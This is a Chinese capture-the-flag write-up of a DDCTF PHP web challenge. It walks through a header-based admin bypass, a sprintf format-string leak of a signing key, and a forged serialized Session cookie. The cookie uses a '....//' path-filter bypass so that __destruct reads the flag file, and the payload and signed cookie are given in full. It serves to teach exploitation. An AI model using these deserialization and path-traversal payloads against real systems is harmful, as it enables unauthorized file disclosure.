天杀的签到题
题解
进入题目后,看到
查看其source
其中:1
2
3
4
5
6
7
8$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
再看返回的信息有一个401的错误,
我们知道401说明无论出于何种原因您的用户名和密码其中之一或两者都无效(输入有误,用户名暂时停用等)
结合”didictf_username”为空,我们可以尝试构造该字段为admin,
访问:’http://117.51.158.44/app/Auth.php'
使用burp跑一下。
获得”fL2XID2i0Cdh.php”信息。访问该php文件。
进入源码
审计源码:
url:app/Application.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47url:app/Application.php
-----------------------
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113url:app/Session.php
----------------------
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
Session()类继承了Application()类的。1
2$ddctf = new Session();
$ddctf->index();
$ddctf为Seesion类的一个实例,调用了方法index().
函数index()代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
if验证调用父类的静态方法auth(),代码如下:1
2
3
4
5
6
7
8
9
10
11public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
尝试一下登录Seesion.php,然后header添加didictf_username: admin
说明验证通过
执行函数get_key()1
2
3
4private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
执行这个函数的结果就是对象ddctf的变量eancrykey将会获取”../config/key.txt”的内容。
进入函数session_read()
结果为true,执行代码:1
2
3$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
结果为false,执行代码:1
2
3$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
我们可以看到返回的信息里有:1
"DiDI Welcome you %s"
所以这里session_read()执行结果此时为true
审计代码session_read():1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
//cookie为空,返回false
$session = $_COOKIE[$this->cookie_name];
//$session为此处登录该页面的cookie值
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
//$sesion为空,返回false
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
//$hash为cookie值的倒数32位之后的内容
//$session为0位至倒数33位的cookie值的内容
if($hash !== md5($this->eancrykey.$session))
//$hash 与 md5(eancrykey.$session) 不等时,返回false
{
parent::response("the cookie data not match",'error');
return FALSE;
}
/*
由此可得出cookie值的倒数32位以后的内容就是为eancrykey和userdate(见函数session_create())的拼接版的md5()值
*/
$session = unserialize($session);
//反序列化$session
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
//判断cookie是否正确,其中使用OR,其中一个条件成立即可
if(!empty($_POST["nickname"])) { //post的nickname是否为空
$arr = array($_POST["nickname"],$this->eancrykey);
//创建数组arr,其中的元素有$_POST["nickname"],$this->eancrykey.
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) { //使用foreach循环
$data = sprintf($data,$v); //sprintf():字符串格式化命令,主要功能是把格式化的数据写入某个字符串中
}
parent::response($data,"Welcome");//返回$data
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
//验证作用
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
//验证作用
}
当我们登录时,我们没有设置cookie值,将先执行session_create(),然后产生cookie
审计代码session_create()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
} //生成随机数
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)), //随机数
'ip_address' => $_SERVER['REMOTE_ADDR'], //ip_address
'user_agent' => $_SERVER['HTTP_USER_AGENT'], //ua值
'user_data' => '',
);//变量userdata
$cookiedata = serialize($userdata);//序列化userdata,存入$cookiedata
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
//$cookiedata 变成 serialize($userdata).md5($this->eancrykey.serialize($userdata))
$expire = $this->cookie_expiration + time();
setcookie( //setcookie() 函数向客户端发送一个 HTTP cookie
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
关注关键代码:1
2
3
4
5
6
7
8
9if(!empty($_POST["nickname"])) { //post的nickname是否为空
$arr = array($_POST["nickname"],$this->eancrykey);
//创建数组arr,其中的元素有$_POST["nickname"],$this->eancrykey.
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) { //使用foreach循环
$data = sprintf($data,$v); //sprintf():字符串格式化命令,主要功能是把格式化的数据写入某个字符串中
}
parent::response($data,"Welcome");//返回$data
}
利用foreach()与sprintf()的特性,POST参数nickname=%s
然后这里有一个点,我们会发现这里的http的header中Content-type字段,所以由于http头文件的规范,添加字段Content-type1
Content-type: application/x-www-form-urlencoded
获得eancrykey为”EzblrbNS”
关键代码:1
$session = unserialize($session);
反序列化的时候,如果反序列化的参数未经过滤,进入魔术方法,将会产生漏洞危害。
PS:不懂反序列化的朋友建议阅读这篇文章最通俗易懂的PHP反序列化原理分析,写的很不错。
这里的魔术方法如下:1
2
3
4
5
6
7
8
9
10
11
12public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
执行session_read()函数,将$session反序列化,而$session是什么?是cookie值,来自于函数session_create().
cookie中包含有cookiedate信息1
2
3$cookiedata = serialize($userdata);//序列化$userdata,存入$cookiedata
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
//$cookiedata 变成 serialize($userdata).md5($this->eancrykey.serialize($userdata))
我们的目标是什么?
读出flag文件的信息.
期待能够改写$path的信息,因为$path为空,而我们要通过读取$path的信息来获取flag.1
var $path = '';
关键代码:1
$session = unserialize($session);
反序列化文本实际为1
2$cookiedata = serialize($userdata);//序列化$userdata,存入$cookiedata
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
所以我们只要自己编写一段序列化文本作为$cookiedata,生成完整的cookiedata.
简化思路的结果就是:1
2
3
4
5
6
7
$cookiedata = 'O:7:"Session":1:{s:4:"path";s:21:"....//config/flag.txt";}';
$eancrykey = "EzblrbNS";
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
//print $cookiedata;
结果为:1
O:7:"Session":1:{s:4:"path";s:21:"....//config/flag.txt";}7392eca99298ec7109e856bb694a808e
此结果进行url编码作为cookie传入,就能爆出flag。
因为我们传入这段cookiedata,代码对其进行反序列化,反序列化文本的内容将会复写path参数。
代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
这里有两个问题:
(1) ../ 被过滤
(2) path的长度为18
所以构造path=>’….//config/flag.txt’,得出flag.